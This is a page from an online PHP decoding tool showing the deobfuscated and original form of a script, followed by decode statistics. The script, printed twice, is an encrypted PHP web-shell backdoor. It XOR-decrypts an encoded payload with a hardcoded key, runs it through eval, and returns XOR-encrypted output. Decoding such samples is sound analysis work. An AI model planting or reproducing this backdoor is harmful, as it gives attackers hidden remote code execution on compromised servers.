Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function base64url_encode($data) { return rtrim(strtr(base64_encode($data), '+..

Decoded Output download

<?php  
function base64url_encode($data) {  
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');  
}  
  
function base64url_decode($data) {  
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));  
}   
function x($k, $p){  
		$c = "";  
		$l = strlen($k);  
		$pl = strlen($p);  
		for($i = 0; $i < $pl; $i++) {  
			$c .= $k[$i % $l] ^ $p[$i];  
		}  
		return $c;  
}  
$k = '55570a8ea758309f';  
$content = QVpBVlxBClRXPRhKREhLEU0YGBoQQQlFFkBCFVdRTQcVR1pYREEYRVUCBhh8U01GFQcVBgRbClZBdnd3ZmQZMn18ZhdkJHU1LXZhfR1EQRI_GEdASBNPHUwaGBgTARkRQkIYU1EVWUUTWFpMExAOVAwDFXhTFRhFUxcEDAkCCkZ2fXR5dyR0KiYZWFw5HUsRTUdCTx1MFUVBBhVPREcUAlRBVBdCDlcRQQQGCQMHGSlWQRUXAkEJUVsFBhhwf2k_fHtyGUQZTG9MRUJAQUdBSxgYFRcBQU8SFhpRWUdRGRRaWkEXEEEYVlEXeltHEBlUFQQBDQJSGCYTUlRMVlQZBEwVcUUQMl0VBF9HGH5ZVwdSVEc9HRNPHRNATRUeHRlGBBVCQEdMXAQVVhVKXF9NRgQAAgIIQXcGFRcVChMBDVwHBhVldSB8KCQZWFw5HUsRTUdCTx1MFUVBBhVPREcUAlRBVBdCDlcRQQYADQQEGSlWQRUXAkEJUVsFBhhhdXgieHAbTVhPVQFrGkdPS0JOHhgYGBcQUBgSFkAYXFJEWEZHWlpDEEELUVEDFXdQRBlGBxUEAwpTC0UAVVpNRx5JDkU_UUVHGUoSGRoYFRMQC0ZCQkIaVABMBEFFWldHEBlSBQwDF38CTEVBBRUJBwoLVRVWWllWCF9vBUVCQEFHQUsYGBUXA0FPEhYaUVlHURkUWlpBFxBVCFxXF3pbRxAZVBUEAQ0CUhgGEkQ_XEFHQRRCTRgaHUEYV0FAQk8eVFgSVBVHWF8VGEVVBwwOE39aEhUVBxcBVQJXUhdRV1BDMwJHQk1FRxkVSEwXFQ4TR04RGFFUQ1FBSgoOQxUYBwAAUBV6VkMQQQpFUAMPCgAQXRBCVD9TQhZAFxZPGBUeEBlSFUJCQB0FWREAF0dXXEQZRgEFDAEQLlsRQRcHGAIEA1QGFVBPRARKCwBbPxVBR0EUQk0YGh1BGFRBQEJPHlRYElQVR1hfFRhFUAMFDhN_WhIVFQcXAVUCV1IXU1lFWVoJWxtcVF9rXBcWT0dPSx0USxUVBxdHFk9IBVZBWRNCVglBFRUDAFgORS5UQRgTAhlXAQ8HBBAHVwsVRD9cQUdBFEJNGBodQRhQQUBCTx5UWBJUFUdYXxUYRVUHDA4Tf1oSFRUHFwFVAldSF11ZUFtYBFlQPxpCFkAXFk8YFR4QGVcVQkJAHQVZEQAXR1dcRBlGFQ0MAhAuWxFBFwcYAgQDVAYVXFNDPlQKBhlFUEM6XRRCTUdASEwVSEEXBxhER05LUVRBVhATVwoVFxUMAwkPRnpWQRcQUxhUVQ0HCxNZVAE_GEdASBNPHUwaGBgTARkRQkIYU1EVWUUTWFpMExAZUgYAFXhTFRhFUxcEDAkCCkZcW1FSSE9IDRE9GEpESEsRTRgYGhBBCUUWQEIVV1FNBxVHWlhEQRhXUA4HGHxTTUYVBxUGBFsKVkFeW0tHQkwFQVxaWUNPSA0RPVFKREhLEU0YGBoQQQtFFkBCFVdRTQcVR1pYREEYUVEOAxh8U01GFQcVBgRbClZBXUYyHkJOHkdCTRodTBhFUBdCT0QdXQdBVBVFXw5MRUEDBAAAEHYFQRUVBRBQDF9TBBVUXFdQCBtFXUc6TEoSGUVCQB4dFEYVBBVARxYVAQBDVBhBX1YSFRUVAwFVGCoCQxUYARAIUg8HBhdcDl8KFEMbSFtAM0tHQk1FRxkVSEwXFQkTR04RGFFUQ1FBSgoOQxUKBQYBVhV6VkMQQQpFUAMPCgAQVB9FVFJSHglMCA09GEpESEsRTRgYGhBBCUUWQEIVV1FNBxVHWlhEQRhFUAIBGHxTTUYVBxUGBFsKVkFHXUgdWVcPPxhHQEgTTx1MGhgYEwEZEUJCGFNRFVlFE1haTBMQGVcMDBV4UxUYRVMXBAwJAgpGRV1FXl4HV0sRX0UyV0JOHkdCTUVHGRhFUxdCT0QdXQdBVBVFXw5MRUEDBQEFEHYFQRUVBRBQDF9TBBVIQVlPB0FQPxpCFkAXFk8YFR4QGVcVQkJAHQVZEQAXR1dcRBlGFRUHARAuWxFBFwcYAgQDVAYVR1hSDkwWT0NNTDkdSxFNR0JPHUwVRUEGFU9ERxQCVEFUF0IOVxFBFwEPAQQZKVZBFRcCQQlRWwUGGEBVWhNHXEFOHhFQFWsaR09LQk4eGBgYFxBQGBIWQBhcUkRYRkdaWkMQQQtWUQAVd1BEGUYHFQQDClMLRRJSQU1DHkkORT9RRUcZShIZGhgVExALRkJCQhpUAEwEQUVaV0cQGVIFDAMXfwJMRUEFFQkHCgtVFUFQREQSMgETQE1KREgUSxgVBAEQFk8STFNUTFIQSwlaQRUXBFEBU0F4VkwTEAtGBAEPBQNBThANWVBKUlJQClxBXFJDaw;  
$split = explode("=", $content);  
if (strcmp(base64url_decode($split[0]),'s3p3hr')) {  
$decoded = base64url_decode($split[1]);  
		$decrypted = x($k,$decoded);  
		ob_start();  
		try {  
			eval($decrypted);  
		}  
		catch (exception $e) {  
			print($e->getMessage());  
		}  
		$o = ob_get_contents();  
		$c = x($k, $o);  
		$e = base64url_encode($c);  
		ob_end_clean();  
		print($e . " 
");  
}  
?>

Did this file decode correctly?

Original Code

<?php 
function base64url_encode($data) { 
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); 
} 
 
function base64url_decode($data) { 
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT)); 
}  
function x($k, $p){ 
		$c = ""; 
		$l = strlen($k); 
		$pl = strlen($p); 
		for($i = 0; $i < $pl; $i++) { 
			$c .= $k[$i % $l] ^ $p[$i]; 
		} 
		return $c; 
} 
$k = '55570a8ea758309f'; 
$content = QVpBVlxBClRXPRhKREhLEU0YGBoQQQlFFkBCFVdRTQcVR1pYREEYRVUCBhh8U01GFQcVBgRbClZBdnd3ZmQZMn18ZhdkJHU1LXZhfR1EQRI_GEdASBNPHUwaGBgTARkRQkIYU1EVWUUTWFpMExAOVAwDFXhTFRhFUxcEDAkCCkZ2fXR5dyR0KiYZWFw5HUsRTUdCTx1MFUVBBhVPREcUAlRBVBdCDlcRQQQGCQMHGSlWQRUXAkEJUVsFBhhwf2k_fHtyGUQZTG9MRUJAQUdBSxgYFRcBQU8SFhpRWUdRGRRaWkEXEEEYVlEXeltHEBlUFQQBDQJSGCYTUlRMVlQZBEwVcUUQMl0VBF9HGH5ZVwdSVEc9HRNPHRNATRUeHRlGBBVCQEdMXAQVVhVKXF9NRgQAAgIIQXcGFRcVChMBDVwHBhVldSB8KCQZWFw5HUsRTUdCTx1MFUVBBhVPREcUAlRBVBdCDlcRQQYADQQEGSlWQRUXAkEJUVsFBhhhdXgieHAbTVhPVQFrGkdPS0JOHhgYGBcQUBgSFkAYXFJEWEZHWlpDEEELUVEDFXdQRBlGBxUEAwpTC0UAVVpNRx5JDkU_UUVHGUoSGRoYFRMQC0ZCQkIaVABMBEFFWldHEBlSBQwDF38CTEVBBRUJBwoLVRVWWllWCF9vBUVCQEFHQUsYGBUXA0FPEhYaUVlHURkUWlpBFxBVCFxXF3pbRxAZVBUEAQ0CUhgGEkQ_XEFHQRRCTRgaHUEYV0FAQk8eVFgSVBVHWF8VGEVVBwwOE39aEhUVBxcBVQJXUhdRV1BDMwJHQk1FRxkVSEwXFQ4TR04RGFFUQ1FBSgoOQxUYBwAAUBV6VkMQQQpFUAMPCgAQXRBCVD9TQhZAFxZPGBUeEBlSFUJCQB0FWREAF0dXXEQZRgEFDAEQLlsRQRcHGAIEA1QGFVBPRARKCwBbPxVBR0EUQk0YGh1BGFRBQEJPHlRYElQVR1hfFRhFUAMFDhN_WhIVFQcXAVUCV1IXU1lFWVoJWxtcVF9rXBcWT0dPSx0USxUVBxdHFk9IBVZBWRNCVglBFRUDAFgORS5UQRgTAhlXAQ8HBBAHVwsVRD9cQUdBFEJNGBodQRhQQUBCTx5UWBJUFUdYXxUYRVUHDA4Tf1oSFRUHFwFVAldSF11ZUFtYBFlQPxpCFkAXFk8YFR4QGVcVQkJAHQVZEQAXR1dcRBlGFQ0MAhAuWxFBFwcYAgQDVAYVXFNDPlQKBhlFUEM6XRRCTUdASEwVSEEXBxhER05LUVRBVhATVwoVFxUMAwkPRnpWQRcQUxhUVQ0HCxNZVAE_GEdASBNPHUwaGBgTARkRQkIYU1EVWUUTWFpMExAZUgYAFXhTFRhFUxcEDAkCCkZcW1FSSE9IDRE9GEpESEsRTRgYGhBBCUUWQEIVV1FNBxVHWlhEQRhXUA4HGHxTTUYVBxUGBFsKVkFeW0tHQkwFQVxaWUNPSA0RPVFKREhLEU0YGBoQQQtFFkBCFVdRTQcVR1pYREEYUVEOAxh8U01GFQcVBgRbClZBXUYyHkJOHkdCTRodTBhFUBdCT0QdXQdBVBVFXw5MRUEDBAAAEHYFQRUVBRBQDF9TBBVUXFdQCBtFXUc6TEoSGUVCQB4dFEYVBBVARxYVAQBDVBhBX1YSFRUVAwFVGCoCQxUYARAIUg8HBhdcDl8KFEMbSFtAM0tHQk1FRxkVSEwXFQkTR04RGFFUQ1FBSgoOQxUKBQYBVhV6VkMQQQpFUAMPCgAQVB9FVFJSHglMCA09GEpESEsRTRgYGhBBCUUWQEIVV1FNBxVHWlhEQRhFUAIBGHxTTUYVBxUGBFsKVkFHXUgdWVcPPxhHQEgTTx1MGhgYEwEZEUJCGFNRFVlFE1haTBMQGVcMDBV4UxUYRVMXBAwJAgpGRV1FXl4HV0sRX0UyV0JOHkdCTUVHGRhFUxdCT0QdXQdBVBVFXw5MRUEDBQEFEHYFQRUVBRBQDF9TBBVIQVlPB0FQPxpCFkAXFk8YFR4QGVcVQkJAHQVZEQAXR1dcRBlGFRUHARAuWxFBFwcYAgQDVAYVR1hSDkwWT0NNTDkdSxFNR0JPHUwVRUEGFU9ERxQCVEFUF0IOVxFBFwEPAQQZKVZBFRcCQQlRWwUGGEBVWhNHXEFOHhFQFWsaR09LQk4eGBgYFxBQGBIWQBhcUkRYRkdaWkMQQQtWUQAVd1BEGUYHFQQDClMLRRJSQU1DHkkORT9RRUcZShIZGhgVExALRkJCQhpUAEwEQUVaV0cQGVIFDAMXfwJMRUEFFQkHCgtVFUFQREQSMgETQE1KREgUSxgVBAEQFk8STFNUTFIQSwlaQRUXBFEBU0F4VkwTEAtGBAEPBQNBThANWVBKUlJQClxBXFJDaw; 
$split = explode("=", $content); 
if (strcmp(base64url_decode($split[0]),'s3p3hr')) { 
$decoded = base64url_decode($split[1]); 
		$decrypted = x($k,$decoded); 
		ob_start(); 
		try { 
			eval($decrypted); 
		} 
		catch (exception $e) { 
			print($e->getMessage()); 
		} 
		$o = ob_get_contents(); 
		$c = x($k, $o); 
		$e = base64url_encode($c); 
		ob_end_clean(); 
		print($e . "
"); 
} 
?>

Function Calls

None

Variables

$k 55570a8ea758309f

Stats

MD5 573f521f4b763044adefaa336be3f303
Eval Count 0
Decode Time 79 ms